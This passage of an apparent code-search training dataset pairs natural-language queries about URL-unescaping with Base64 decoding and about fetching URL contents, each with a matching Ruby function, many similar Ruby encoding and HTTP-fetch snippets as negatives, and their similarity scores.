"def escape(str)\n str.to_s.gsub(/\\\\/, '\\&\\&').gsub(/'/, \"''\").force_encoding('US-ASCII')\n end",
"def u64(s)\n return unless s\n Base64.decode64 CGI.unescape(s)\n end",
"def escape_uri(s); Rack::Utils.escape(s); end",
"def reencode_string(input); end",
"def encode_string; end",
"def percent_encode(str)\n URI.encode(str, /[^a-zA-Z0-9\\-\\.\\_\\~]/)\n end",
"def fake_base_64\n Base64.urlsafe_encode64(words(20).join)\nend",
"def encode(str)\n CGI::escape(Base64.encode64(hmac_sha1_digest(@aws_secret_access_key, str)).strip)\n end",
"def uri_encode(identifier)\n URI.escape(identifier)\n end",
"def escape(str)\n URI.escape str, /[:?\\/']/\nend",
"def escapeRFC3986(str)\r\n return URI.escape(str, /[^A-Za-z0-9\\-_.~]/)\r\nend",
"def escape(s)\n URI.encode_www_form_component(s)\n end",
"def urlsafe_decode64(str)\n strict_decode64(str.tr(\"-_\", \"+/\"))\n end",
"def sanitize_base64_string(base64_string)\n array_string = base64_string.split('//')\n array_string[-1] = array_string[-1].gsub('\\\\', '')\n array_string.join('//')\n end",
"def uri_encode(text)\n URI.escape(text, Regexp.new(\"[^#{URI::PATTERN::UNRESERVED}]\"))\n end",
"def encodeURIComponent(componentString)\n ::URI::URIEncodeComponent(componentString)\nend",
"def urlencode\n #URI.escape(self)\n _rfc2396_parser.escape(self)\n end",
"def escape(string)\n encoding = string.encoding\n string.b.gsub(/([^ a-zA-Z0-9_.\\-~]+)/) do |m|\n '%' + m.unpack('H2' * m.bytesize).join('%').upcase\n end.tr(' ', '+').force_encoding(encoding)\n end",
"def decode64_url(str)\n # add '=' padding\n str = case str.length % 4\n when 2 then str + '=='\n when 3 then str + '='\n else\n str\n end\n\n Base64.decode64(str.tr('-_', '+/'))\nend",
"def escapeRFC3986(str)\n return URI.escape(str,/[^A-Za-z0-9\\-_.~]/)\nend",
"def encode to_encode\n CGI.escape(to_encode)\n end",
"def escape(str, unsafe = UNSAFE)\n # URI.escape is obsolete\"\n DEFAULT_PARSER.escape(str, unsafe)\n end",
"def base64_url_decode(str)\n \"#{str}==\".tr(\"-_\", \"+/\").unpack(\"m\")[0]\n end",
"def _encode_string(string)\n return string unless string.kind_of? String\n string.encode(\"UTF-8\", :undef => :replace, :invalid => :replace, :replace => \"?\")\n end",
"def encode_string_ex; end",
"def encode_param text\n CGI::escape(text).gsub(\"+\", \"%20\").gsub(\"%\", \"%25\")\n end",
"def base64_encode\n [self].pack('m').chop\n end",
"def escape(str); end",
"def url_encode(h); h.map { |k,v| \"openid.#{Rack::Utils.escape(k)}=#{Rack::Utils.escape(v)}\" }.join('&') end",
"def escapeRFC3986(str)\n return URI.escape(str,/[^A-Za-z0-9\\-_.~]/)\n end",
"def escapeRFC3986(str)\n return URI.escape(str,/[^A-Za-z0-9\\-_.~]/)\n end",
"def encrypt(text_to_encrypt, base64_encode=true)\n encrytped = public_key.public_encrypt(text_to_encrypt)\n base64_encode ? Base64UrlSafe.encode(encrytped) : encrytped\n end",
"def encode_backslash_escapes( str )\n\t\t\t# Make a copy with any double-escaped backslashes encoded\n\t\t\ttext = str.gsub( /\\\\\\\\/, EscapeTable['\\\\\\\\'][:md5] )\n\n\t\t\tEscapeTable.each_pair {|char, esc|\n\t\t\t\tnext if char == '\\\\\\\\'\n\t\t\t\tnext unless char =~ /\\\\./\n\t\t\t\ttext.gsub!( esc[:re], esc[:md5] )\n\t\t\t}\n\n\t\t\treturn text\n\t\tend",
"def h(str)\n URI.escape(str)\n end",
"def url_utf8(raw_url)\n URI::escape(raw_url)\n end",
"def path_encode(path)\n Addressable::URI.escape(path.encode(Encoding::UTF_8))\n end",
"def _encode(source)\n source.gsub(' ','_').gsub(/%.<.+?>/) { |match|\n CGI.escape(match[3..-2]).gsub('%', match[1..1])\n }\n end",
"def escape(str, unsafe = @regexp[:UNSAFE])\n unless unsafe.kind_of?(Regexp)\n # perhaps unsafe is String object\n unsafe = Regexp.new(\"[#{Regexp.quote(unsafe)}]\", false)\n end\n str.gsub(unsafe) do\n us = $&\n tmp = ''\n us.each_byte do |uc|\n tmp << sprintf('%%%02X', uc)\n end\n tmp\n end.force_encoding(Encoding::US_ASCII)\n end",
"def escape(str, unsafe = @regexp[:UNSAFE])\n unless unsafe.kind_of?(Regexp)\n # perhaps unsafe is String object\n unsafe = Regexp.new(\"[#{Regexp.quote(unsafe)}]\", false)\n end\n str.gsub(unsafe) do\n us = $&\n tmp = ''\n us.each_byte do |uc|\n tmp << sprintf('%%%02X', uc)\n end\n tmp\n end.force_encoding(Encoding::US_ASCII)\n end",
"def path_encode(path)\n CGI.escape(path.encode(Encoding::UTF_8))\n end",
"def encode_base64!\n self.replace(self.encode_base64)\n end",
"def escape(str)\n CGI.escape(str)\n end",
"def base64_encode\n Base64.encode64(file_contents)\n end",
"def uri_escape\n str = xml_escape.gsub(/\\+/, '+')\n str = str.gsub(/\\s/, '+')\n end",
"def encode(string: String)\n\n salt = SecureRandom.random_bytes(8)\n\n cipher = OpenSSL::Cipher.new('AES-256-CBC')\n cipher.encrypt\n cipher.pkcs5_keyivgen(@password, salt, 1, \"MD5\")\n data = \"Salted__\" + salt + cipher.update(string) + cipher.final\n\n Base64.encode64(data)\n end",
"def base64_encoded?(string)\n !!string.gsub(/[\\r\\n]|\\\\r|\\\\n/, \"\").match(BASE64_FORMAT)\n end",
"def base64_encoded?(string)\n !!string.gsub(/[\\r\\n]|\\\\r|\\\\n/, \"\").match(BASE64_FORMAT)\n end",
"def encode_url\n uri = Addressable::URI.parse(@url)\n uri.query_values = query_normalization\n @url.replace uri.normalize.to_s.force_encoding(@encoding)\n end",
"def URIEncodeComponent(componentString)\n Encode(componentString, :unescapePredicate);\n end",
"def password_encode(password)\n result = \"\"\n password = \"\\\"\" + password + \"\\\"\"\n password.length.times { |i| result+= \"#{password[i..i]}\\000\" }\n return result\n end",
"def escape_string(string)\n string.to_s.gsub(/([\\\\()|\\-!@~\"&\\/\\^\\$=])/, '\\\\\\\\\\\\1')\n end",
"def b64_e(data)\n Base64.encode64(data).chomp\n end",
"def to_base64\n base64 = [to_s].pack('m').delete(\"\\n\")\n base64.gsub!('/', '~')\n base64.gsub!('+', '-')\n base64\n end",
"def base64_decode(string)\n SSL.base64_decode(string)\n end",
"def base64_decode(string)\n SSL.base64_decode(string)\n end",
"def escape(string); end",
"def urlsafe_decode642(str)\n # NOTE: RFC 4648 does say nothing about unpadded input, but says that\n # \"the excess pad characters MAY also be ignored\", so it is inferred that\n # unpadded input is also acceptable.\n str = str.tr(\"-_\", \"+/\")\n if !str.end_with?(\"=\") && str.length % 4 != 0\n str = str.ljust((str.length + 3) & ~3, \"=\")\n end\n Base64.strict_decode64(str)\nend",
"def encode64( png )\n return Base64.encode64(png)\n end"
] |
[
"0.82151335",
"0.79889876",
"0.79728556",
"0.79728556",
"0.7941476",
"0.7887878",
"0.78239703",
"0.78091717",
"0.78091717",
"0.77820784",
"0.7742422",
"0.76816463",
"0.7633929",
"0.751233",
"0.74506587",
"0.7379803",
"0.7372888",
"0.72996277",
"0.729072",
"0.72083074",
"0.7061975",
"0.70553744",
"0.7034637",
"0.7028269",
"0.7028269",
"0.6998452",
"0.6962887",
"0.68720675",
"0.6855641",
"0.68453866",
"0.68407065",
"0.6831686",
"0.6815313",
"0.6815313",
"0.680648",
"0.67950153",
"0.6785728",
"0.67562395",
"0.6750291",
"0.6738452",
"0.6737934",
"0.6737293",
"0.67176723",
"0.67139286",
"0.6713347",
"0.6706763",
"0.668369",
"0.66704345",
"0.6670323",
"0.664306",
"0.66364527",
"0.6630836",
"0.661968",
"0.66137654",
"0.6526779",
"0.65194136",
"0.65076196",
"0.6486683",
"0.64508665",
"0.6447806",
"0.64475244",
"0.6446872",
"0.6440084",
"0.64378136",
"0.643596",
"0.641779",
"0.64123946",
"0.6389142",
"0.6368392",
"0.63642806",
"0.63371575",
"0.63235974",
"0.63235974",
"0.6317712",
"0.63119346",
"0.6306104",
"0.6304117",
"0.6299789",
"0.62666315",
"0.62557715",
"0.62557715",
"0.6252112",
"0.62398624",
"0.62253326",
"0.6223387",
"0.6210203",
"0.6208941",
"0.62003976",
"0.62003976",
"0.6192852",
"0.6179782",
"0.6173997",
"0.61698234",
"0.6169231",
"0.6157764",
"0.615092",
"0.615092",
"0.61455756",
"0.61346495",
"0.61253655"
] |
0.79262185
|
5
|
URLunescape and Base64decode a string.
|
def u64(s)
return unless s
Base64.decode64 CGI.unescape(s)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def base64_url_decode(str)\n str += '=' * (4 - str.length.modulo(4))\n Base64.decode64(str.tr('-_', '+/'))\n end",
"def base64_url_decode(str)\n \"#{str}==\".tr(\"-_\", \"+/\").unpack(\"m\")[0]\n end",
"def decode(string)\n Base64.decode64(string)\n end",
"def base64_decode(string)\n SSL.base64_decode(string)\n end",
"def base64_decode(string)\n SSL.base64_decode(string)\n end",
"def urlsafe_decode64(str)\n strict_decode64(str.tr(\"-_\", \"+/\"))\n end",
"def decode64_url(str)\n # add '=' padding\n str = case str.length % 4\n when 2 then str + '=='\n when 3 then str + '='\n else\n str\n end\n\n Base64.decode64(str.tr('-_', '+/'))\nend",
"def urlsafe_decode642(str)\n # NOTE: RFC 4648 does say nothing about unpadded input, but says that\n # \"the excess pad characters MAY also be ignored\", so it is inferred that\n # unpadded input is also acceptable.\n str = str.tr(\"-_\", \"+/\")\n if !str.end_with?(\"=\") && str.length % 4 != 0\n str = str.ljust((str.length + 3) & ~3, \"=\")\n end\n Base64.strict_decode64(str)\nend",
"def decode_uri(string)\n string.split(/%2F|%2f/, -1).map { |part| Rack::Utils.unescape(part) }.join('%2F')\n end",
"def urldecode\n _rfc2396_parser.unescape(self)\n end",
"def decode_base64\n #self.unpack(\"m*\").first\n # This should be the above line but due to a bug in the ruby base64 decoder\n # it will only decode base64 where the lines are in multiples of 4, this is\n # contrary to RFC2045 which says that all characters other than the 65 used\n # are to be ignored. Currently we remove all the other characters but it \n # might be better to use it's advice to only remove line breaks and white\n # space\n self.tr(\"^A-Za-z0-9+/=\", \"\").unpack(\"m*\").first\n end",
"def decode_bytes(encoded_bytes)\n Base64.urlsafe_decode64(encoded_bytes)\n end",
"def decode64\n Base64.strict_decode64(unwrap)\n end",
"def decode(b)\n Base64.decode64(b)\n end",
"def url_decode\n Rack::Utils.unescape self\n end",
"def decode(value)\n Base64.decode64 value\n end",
"def url_unescape(s)\n #Added this to make cadaver work\n s = s.gsub(\"%28\", \"(\").gsub(\"%29\", \")\")\n URI.unescape(s)\n end",
"def strict_decode64( str )\n \n if RUBY_VERSION >= \"1.9\"\n Base64.strict_decode64( str )\n else\n Base64.decode64( str )\n end\nend",
"def strict_decode64(str)\n return Base64.strict_decode64(str) if Base64.respond_to? :strict_decode64\n\n unless str.include?(\"\\n\")\n Base64.decode64(str)\n else\n raise(ArgumentError,\"invalid base64\")\n end\n end",
"def decode(value)\n `decodeURI(#{value})`\n end",
"def decode_string(str)\n\nend",
"def decoded\n Base64.decode64(@base64 || \"\")\n end",
"def unescape(str)\n # URI.unescape is obsolete\n DEFAULT_PARSER.unescape(str)\n end",
"def base64_decode\n unpack('m').first\n end",
"def decode(base64)\n base64.to_s.unpack(\"m\").first\n end",
"def decode_params_base64(s)\n parsed = CGI.parse(Base64.decode64(\"#{s}==\"))\n params = Hash[*parsed.entries.map { |k, v| [k, v[0]] }.flatten]\n params.with_indifferent_access\n end",
"def decode_uri(uri)\n return uri unless uri\n CGI::unescape(uri)\n end",
"def decrypt(base64_string)\r\n encrypted = Base64.decode64(base64_string)\r\n aes = decipher\r\n aes.update(encrypted) + aes.final\r\n end",
"def decode(string)\n Base32.decode(string.upcase)\n end",
"def decode(text); end",
"def decode_base64_string(filename, data)\n\n decoded_image = Base64.decode64(data)\n\nend",
"def decode_base64_string(filename, data)\n\n decoded_image = Base64.decode64(data)\n\nend",
"def decode_body(body)\n body += '=' * (4 - body.length.modulo(4))\n Base64.decode64(body.tr('-_','+/'))\n end",
"def mime_decode(str, charset = \"UTF-8\")\n decstr = \"\"\n items = str.split(/\\s/).collect{|c| c.strip}\n items.each_with_index do |item, i|\n if item.empty?\n decstr += \" \"\n next\n end\n decstr += \" \" unless decstr.empty?\n mis = item.scan(/^=\\?(UTF-8|utf-8)\\?(B|b)\\?(.+)\\?=$/).flatten\n if mis.empty?\n decstr += item\n else\n decstr += Base64.decode64(mis[-1])\n end\n end\n return msg_decode(decstr, charset)\n end",
"def decode_base64!\n self.replace(self.decode_base64)\n end",
"def unescape_url(url)\n Addressable::URI.unescape(url)\n end",
"def unescape_uri(uri); end",
"def uri_unescape\n tr('+', ' ').gsub(/((?:%[0-9a-fA-F]{2})+)/n){[$1.delete('%')].pack('H*')}\n end",
"def decrypt64(str)\n dec = ''\n str = Base64.decode64(str)\n while str.length != 0\n dec += self.private_decrypt(str[0..self.decrypt_block_size])\n str = str[self.decrypt_block_size+1..-1] if str.length > self.decrypt_block_size\n end\n dec\n end",
"def unescape(str)\n str.to_s.gsub(/%(..)/) { Regexp.last_match(1).hex.chr }\n end",
"def unescape_url(url)\n Addressable::URI.unescape(url)\n end",
"def decode64(str)\n str.unpack(\"m\")[0]\n end",
"def sanitize_base64_string(base64_string)\n array_string = base64_string.split('//')\n array_string[-1] = array_string[-1].gsub('\\\\', '')\n array_string.join('//')\n end",
"def decode64(str)\n str.unpack(\"m\").first\n end",
"def decode(data)\n case @encoding\n when nil, :none, :raw\n data\n when :base64\n Base64.decode64(data)\n else\n raise Cryptic::UnsupportedEncoding, @encoding\n end\n end",
"def decode_and_parse_json(string)\n JSON.parse(string)\nrescue\n JSON.parse(Base64.decode64(string))\nend",
"def decode_attribute(attribute)\n ActiveSupport::Base64.decode64(attribute)\n end",
"def unescape(string,encoding=@@accept_charset)\n str=string.tr('+', ' ').b.gsub(/((?:%[0-9a-fA-F]{2})+)/) do |m|\n [m.delete('%')].pack('H*')\n end.force_encoding(encoding)\n str.valid_encoding? ? str : str.force_encoding(string.encoding)\n end",
"def edit_text_base64_decode(request, opts = {})\n data, _status_code, _headers = edit_text_base64_decode_with_http_info(request, opts)\n data\n end",
"def decipher_base64(value_base64, key)\n if blank(value_base64)\n return nil\n else\n cipher_text = Base64.decode64(value_base64)\n return decipher(cipher_text, key)\n end\nend",
"def unescape(str)\n # Escape all the things\n str.gsub(/\\\\(?:([#{UNESCAPES.keys.join}])|u([\\da-fA-F]{4}))|\\\\0?x([\\da-fA-F]{2})/) {\n if $1\n if $1 == '\\\\' then '\\\\' else UNESCAPES[$1] end\n elsif $2 # escape \\u0000 unicode\n [\"#$2\".hex].pack('U*')\n elsif $3 # escape \\0xff or \\xff\n [$3].pack('H2')\n end\n }\n end",
"def decode_b(str)\n str.gsub!(/=\\?ISO-2022-JP\\?B\\?([!->@-~]+)\\?=/i) {\n decode64($1)\n }\n str = Kconv::toeuc(str)\n str.gsub!(/=\\?SHIFT_JIS\\?B\\?([!->@-~]+)\\?=/i) {\n decode64($1)\n }\n str = Kconv::toeuc(str)\n str.gsub!(/\\n/, ' ') \n str.gsub!(/\\0/, '')\n str\n end",
"def decode_as_raw_url\n self.url = URI.decode_www_form_component(url)\n end",
"def he_decode(text); self.class.he_decode text; end",
"def safe_string(str)\n b64str = Base64.strict_encode64(str)\n \"echo #{b64str} | base64 --decode\"\n end",
"def decode_uri_component\n warn \"opal-browser: String#decode_uri_component is deprecated. Please use FormData.decode\"\n FormData.decode(self)\n end",
"def unescape(string)\n string.tr('+', ' ').gsub(/((?:%[0-9a-fA-F]{2})+)/n) do\n [$1.delete('%')].pack('H*')\n end\n\tend",
"def unescape_string_if_needed(str)\n\t# unsafe characters - see above for complete list\n\tunsafeCharacters = [0x200c, 0x200d]\n\t# let's convert our string into array (to preserve proper unicode numbers)\n\tstr_array=str.unpack(\"U*\")\n\t# set this to false until the first replacement takes place\n\treplacement_done = false\n\n\t# loop over all unsafe character and try to replace all occurencies\n\tunsafeCharacters.each do |c|\n\t\t# find the first occurence of that character\n\t\ti = str_array.index(c)\n\t\twhile i != nil\n\t\t\t# replaces a single character with '%uXXXX', where XXXX is hex code of character\n\t\t\t# this only works with non-math characters, but it should not happen that any bigger number would occur\n\t\t\tstr_array[i,1] = sprintf(\"%%u%4X\", c).unpack(\"U*\")\n\t\t\ti = str_array.index(c)\n\t\t\treplacement_done = true\n\t\tend\n\tend\n\n\t# convert the array back to string\n\tstr = str_array.pack(\"U*\")\n\n\tif replacement_done\n\t\treturn \"unescape('#{str}')\"\n\telse\n\t\treturn \"'#{str}'\"\n\tend\nend",
"def unicode_filter_decode(str)\n self.encode_unicode ? Rex::Text.unicode_filter_decode(str) : str\n end",
"def decrypt(string)\n require_key\n\n @private_key.private_decrypt(Base64.decode64(string))\n end",
"def decode(raw, table={})\n\t n = -1\n\t while n and (m = n + 1) < raw.length\n\t n = raw.index('&', m)\n\t next if m == n\n\t n ||= raw.length\n\t q = raw.index('=', m)\n\t next if !q or q > n\n\t \n\t a = raw.index('[', m)\n\t idx = CGI::unescape(raw[m, (a && a<n ? a : q)-m])\n\t into = table\n\t while into and a and a < q and (b = raw.index(']', a)) and b < q\n\t path = idx\n\t idx = CGI::unescape(raw[a+1, b-a-1])\n\t into = (into[path] ||= (idx.size.zero? ? [] : {}))\n\t into = nil unless (idx.size.zero? ? Array : Hash) === into\n\t a = raw.index('[', b + 1)\n\t end\n\t \n\t v = CGI::unescape(raw[q+1, n-q-1])\n\t case into\n when Hash\n into[idx] = v\n when Array\n\t into << v\n\t end\n\t end\n\t into\n\tend",
"def safe_unescape!\n string = CGI.unescape(gsub('+', '%2B'))\n return self if self == string\n replace string\n ensure_safe!\n end",
"def unescape(str, escaped = @regexp[:ESCAPED])\n enc = str.encoding\n enc = Encoding::UTF_8 if enc == Encoding::US_ASCII\n str.gsub(escaped) { [$&[1, 2]].pack('H2').force_encoding(enc) }\n end",
"def decode(string)\n string.tr('A-Za-z', (('a'..'z').to_a + ('A'..'Z').to_a).reverse.join) rescue \"Input is not a string\"\nend",
"def unescape(str)\n str = str.force_encoding(\"UTF-8\") if str.respond_to?(:force_encoding)\n str = str.gsub(/&#(\\d{3});/) { [$1.to_i].pack(\"U\") }\n CGI.unescapeHTML(str)\n end",
"def unescape_special_chars( str )\n\t\t\tEscapeTable.each {|char, hash|\n\t\t\t\t@log.debug \"Unescaping escaped %p with %p\" % [ char, hash[:md5re] ]\n\t\t\t\tstr.gsub!( hash[:md5re], hash[:unescape] )\n\t\t\t}\n\n\t\t\treturn str\n\t\tend",
"def decode_data(encoded_data)\n\n # Decode the data\n data = Base64.decode64(encoded_data)\n\n # Eliminate extemporaneous chars outside the JSON\n data = data.match(/\\{.*\\}/)[0]\n\n # Parse with JSON\n data = JSON.parse(data)\n\n end",
"def decrypt(encrypted_string)\n CRYPTO.decrypt_string(encrypted_string.decode64)\nend",
"def decode(string)\n Marshal.load(string.unpack('m').first)\n end",
"def unescape_stringify(str)\n chars = {\n 'a' => \"\\x07\", 'b' => \"\\x08\", 't' => \"\\x09\", 'n' => \"\\x0a\", 'v' => \"\\x0b\", 'f' => \"\\x0c\",\n 'r' => \"\\x0d\", 'e' => \"\\x1b\", \"\\\\\\\\\" => \"\\x5c\", \"\\\"\" => \"\\x22\", \"'\" => \"\\x27\"\n }\n # Escape all the things\n str.gsub(/\\\\(?:([#{chars.keys.join}])|u([\\da-fA-F]{4}))|\\\\0?x([\\da-fA-F]{2})/) {\n if $1\n if $1 == '\\\\'\n then '\\\\'\n else\n chars[$1]\n end\n elsif $2\n [\"#$2\".hex].pack('U*')\n elsif $3\n [$3].pack('H2')\n end\n }\n end",
"def unescape(str, escaped = @regexp[:ESCAPED])\n str.gsub(escaped) { [$&[1, 2].hex].pack('C') }.force_encoding(str.encoding)\n end",
"def decode(str)\n str.gsub(/\\\\\\(/, '(').gsub(/\\\\\\)/, ')')\n end",
"def decode_blob blob\n if not String === blob\n raise ArgumentError, 'Blob should be a string'\n end\n\n if blob[0, 4] != 'TFBB'\n raise ArgumentError, 'Blob doesn\\'t seem to be base64 encoded'\n end\n\n decode_base64 blob\n end",
"def decompress\n Zlib::Inflate.inflate(decode64)\n end",
"def decode(string, options = {})\n engine.decode(string, options)\n rescue engine::ParseError => exception\n raise DecodeError, exception.message, exception.backtrace\n end",
"def decrypt(text_to_decrypt, base64_encoded=true)\n text = base64_encoded ? Base64UrlSafe.decode(text_to_decrypt) : text_to_decrypt\n begin\n @key.private_decrypt(text)\n rescue OpenSSL::PKey::RSAError\n nil\n end\n end",
"def decode_from_percent_encoded_str( str )\n str.split( '&', -1 ).map! do |s|\n if s.empty?\n [ '', nil ]\n else\n pair = s.split( '=', -1 ).map!{ |s| dec_perenc( s ) }\n # TODO: pair の要素数は 1 以上 2 以下 ('=' がない場合など, 1 個だけの場合もある)\n [ pair[0], pair[1] ]\n end\n end\n end",
"def safe(str)\n CGI.unescape(str)\n end",
"def decode_string(bytes)\n bytes.map(&:chr)\n .join\n .gsub(/#{0.chr}*$/, '')\n end",
"def e64(s)\n return unless s\n CGI.escape Base64.encode64(s)\n end",
"def decode_bytes(str)\n dec_string = \"\"\n str.each_byte do |char|\n dec_string += (((char & 0x3) << 6) | char >> 2).chr\n end\n dec_string\n end",
"def unescape(*arg)\n warn \"#{caller(1)[0]}: warning: URI.unescape is obsolete\" if $VERBOSE\n DEFAULT_PARSER.unescape(*arg)\n end",
"def get_hash(string)\n hash = {}\n string.split('&').collect { |pair| pair.split('=') }.each { |a|\n hash[a[0]] = URI.unescape(a[1])\n }\n return hash\n end",
"def decode(string)\n if string.class != String\n return \"Input is not a string\"\n else\n string_array = string.downcase.split('')\n alphabet_array = \"abcdefghijklmnopqrstuvwxyz\".split('')\n new_string = \"\"\n string_array.map! do |x|\n letter_index = alphabet_array.index(x)\n if x =~ /[A-Za-z]/\n alphabet_array[-letter_index-1]\n else\n x\n end\n end\n final_string = string_array.join('')\n end\n if final_string =~ /\\s/\n final_string_array = final_string.split('? ')\n final_string_array.map! do |x|\n x.capitalize\n end\n final_string_array.join('? ')\n else\n final_string\n end\nend",
"def decode_link data\n link = data.sub('_', '.')\n JWT.decode link, nil, false\n end",
"def url_encode(string) \r\n encoded_string = ''\r\n string.each_char do |char|\r\n char = (\"%%%02X\" % char.ord) if char.match(/[A-Za-z0-9]/) == nil\r\n encoded_string << char\r\n end\r\n return encoded_string\r\n end",
"def url_encode(string) \r\n encoded_string = ''\r\n string.each_char do |char|\r\n char = (\"%%%02X\" % char.ord) if char.match(/[A-Za-z0-9]/) == nil\r\n encoded_string << char\r\n end\r\n return encoded_string\r\n end",
"def unescape(string)\n result = CGI.unescapeHTML(string)\n result.gsub!(/!-(.*?)-!/, '\\1')\n return result\n end",
"def decode_image(data)\r\n\r\n data_index = data.index('base64') + 7\r\n filedata = data.slice(data_index, data.length)\r\n decoded_image = Base64.decode64(filedata)\r\n\r\n end",
"def pack_urlsafe_base64digest(bin)\n str = pack_base64digest(bin)\n str.tr!('+/'.freeze, '-_'.freeze)\n str.tr!('='.freeze, ''.freeze)\n str\n end",
"def pack_urlsafe_base64digest(bin)\n str = pack_base64digest(bin)\n str.tr!('+/'.freeze, '-_'.freeze)\n str.tr!('='.freeze, ''.freeze)\n str\n end",
"def decode_aes256_cbc_base64 data\n if data.empty?\n ''\n else\n # TODO: Check for input validity!\n _decode_aes256 :cbc, decode_base64(data[1, 24]), decode_base64(data[26..-1])\n end\n end",
"def unescape_path(path)\n URI.unescape(path.to_s)\n end",
"def url_(str)\n encoding = str.encoding\n str.b.gsub(/([^ a-zA-Z0-9_.-]+)/) do |m|\n '%' + m.unpack('H2' * m.bytesize).join('%').upcase\n end.tr(' ', '+').force_encoding(encoding)\n end",
"def decode_mime(method = nil)\n method ||= guess_mime_encoding\n method = method.downcase if method.kind_of?(String)\n case method\n when :none\n self\n when :base64, 'b', 'base64'\n self.decode_base64\n when :quoted_printable, 'q', 'quoted-printable'\n self.decode_quoted_printable\n else\n raise ArgumentError, \"Bad MIME encoding\"\n end\n end",
"def unescape(s)\n s.tr('+', ' ').gsub(/((?:%[0-9a-fA-F]{2})+)/n) {\n [$1.delete('%')].pack('H*')\n }\n end",
"def unescape(s)\n s.gsub(/((?:%[0-9a-fA-F]{2})+)/n) {[$1.delete('%')].pack('H*')}\n end",
"def decode_properties(string)\n ::Marshal::load(string.unpack('m')[0])\n end",
"def decrypt(string)\n d_salt, d_iv, ciphertext = p_unpack_string(\n string,\n profile.key_len,\n profile.iv_len,\n profile.salt_bytes\n )\n p_decrypt_string(ciphertext, key(d_salt), d_iv, profile.algorithm)\n end",
"def decode_str\n index_of_last_digit = @index + self[@index..self.length - 1].index(':')\n length_of_string = self[(@index)..(@index + index_of_last_digit - 1)].to_i\n\n # The string itself starts 1 past the index of the last digit (because of the colon)\n # and ends 2 more than the length of the string past the index.\n string = self[(index_of_last_digit + 1)..(index_of_last_digit + length_of_string)]\n\n # Increment index by the length of the string plus the length of the digits.\n @index += index_of_last_digit - @index + length_of_string\n string\n end"
] |
[
"0.83523804",
"0.8116885",
"0.80301297",
"0.79901886",
"0.79901886",
"0.7786382",
"0.76241696",
"0.7415235",
"0.7257895",
"0.71308875",
"0.7000905",
"0.69785607",
"0.69033855",
"0.6888165",
"0.6878193",
"0.68714046",
"0.68538207",
"0.68396187",
"0.67572075",
"0.675507",
"0.67373985",
"0.6674849",
"0.6597232",
"0.65737844",
"0.6516573",
"0.65058184",
"0.6493707",
"0.6450866",
"0.6373843",
"0.63318956",
"0.6323502",
"0.6323502",
"0.627672",
"0.62346494",
"0.6181741",
"0.6142691",
"0.61407715",
"0.61282754",
"0.6099858",
"0.60931903",
"0.60923994",
"0.6078627",
"0.6076697",
"0.6028575",
"0.6011285",
"0.5993416",
"0.59896183",
"0.59786177",
"0.5944365",
"0.5941095",
"0.5930771",
"0.5904343",
"0.58336294",
"0.58100545",
"0.5777822",
"0.57763815",
"0.5775306",
"0.5760643",
"0.57359976",
"0.57323015",
"0.5727209",
"0.57038796",
"0.5691809",
"0.56904274",
"0.5689036",
"0.5682733",
"0.5662522",
"0.5644736",
"0.56273717",
"0.5610483",
"0.5580656",
"0.55784506",
"0.5564589",
"0.55604017",
"0.5559781",
"0.5557067",
"0.5523666",
"0.55045503",
"0.5493132",
"0.5487456",
"0.5470277",
"0.5469286",
"0.5448246",
"0.544359",
"0.5441915",
"0.5431472",
"0.5431472",
"0.5425769",
"0.5422702",
"0.5381055",
"0.5381055",
"0.5365858",
"0.53534883",
"0.5347446",
"0.53468126",
"0.5341662",
"0.53344697",
"0.5319022",
"0.5318593",
"0.53153145"
] |
0.7180591
|
9
|
Fetch the contents given a URL.
|
def fetch(url)
url = URI.parse url
http = Net::HTTP.new(url.host, url.port)
http.use_ssl = (url.scheme == "https")
http.request_get url.request_uri
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def fetch_from_url url\n require \"net/http\"\n\n uri = URI.parse(url)\n\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri)\n\n request['User-Agent'] = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 OPR/36.0.2130.46'\n \n response = http.request(request)\n \n return response.body # => The body (HTML, XML, blob, whatever)\n end",
"def fetch_url_data(url)\n open(url).read\n end",
"def fetch_url_data(url)\n open(url).read\n end",
"def fetchURL(url)\n open(url) {|response| response.read}\nend",
"def fetch\n open(to_url) { |io| io.read }\n end",
"def fetch()\n @result = open(@url,@headers)\n end",
"def get_content\n send_get_content(url)\n end",
"def fetch(url)\n # TODO: support HTTPS too\n @open_params ||= begin\n u = URL(@root_url)\n [u.host, u.port]\n end\n Net::HTTP.start(*@open_params) do |http|\n request = Net::HTTP::Get.new(URL(url).full_path.gsub(/ /, \"%20\"))\n with_sts_auth_retry do\n authenticate(request, {:is_request => true})\n http.request(request)\n end\n end\n end",
"def fetch_page\n Varnisher.log.info \"Looking for external resources on #{@url}...\"\n\n begin\n @html = Net::HTTP.get_response(@uri).body\n rescue\n Varnisher.log.info \"Hmm, I couldn't fetch that URL. Sure it's right?\\n\"\n return\n end\n end",
"def do_get url\n\t\turi = URI.parse(url)\n\t\tNet::HTTP.get_response(uri)\n\tend",
"def http_get(url)\n require \"open-uri\"\n URI.parse(url).read\n end",
"def retrieve(url)\n response = @connection.get(url)\n\n if response.success?\n response.body\n else\n raise RuntimeError, \"Failed to retrieve #{url}: HTTP #{response.code} #{response.body}\"\n end\n end",
"def fetch\n DownloadManager.fetch(src, target)\n parse\n end",
"def fetch_html_file(url)\n file = open(normalize_url(url), read_timeout: READ_TIMEOUT)\n response_uri = response_uri(file)\n doc = Nokogiri::HTML.parse(file)\n HtmlFile.new(doc, response_uri)\n end",
"def http_fetch_body(url)\n res = http_fetch(url)\n case res\n when Net::HTTPSuccess\n res.body\n else res.error!\n end\n end",
"def fetch(uri)\n unless uri.is_a?(URI)\n uri = uri.to_s\n\n unless uri.include?(\"rafb.net\")\n uri = MainURI.to_s + \"results/#{uri}.html\"\n end\n\n unless uri.include?(\"http\")\n uri = \"http://\" + uri\n end\n end\n\n uri = URI(uri.to_s.sub(/\\.html$/, \".txt\"))\n\n unless uri.host == \"rafb.net\"\n raise(ArgumentError, \"Invalid host %p\" % uri.host)\n end\n\n unless uri.path[%r{^/paste/results/[^/.]+\\.txt$}]\n raise(ArgumentError, \"Invalid path %p\" % uri.path)\n end\n\n open(uri) { |res| res.read }\n end",
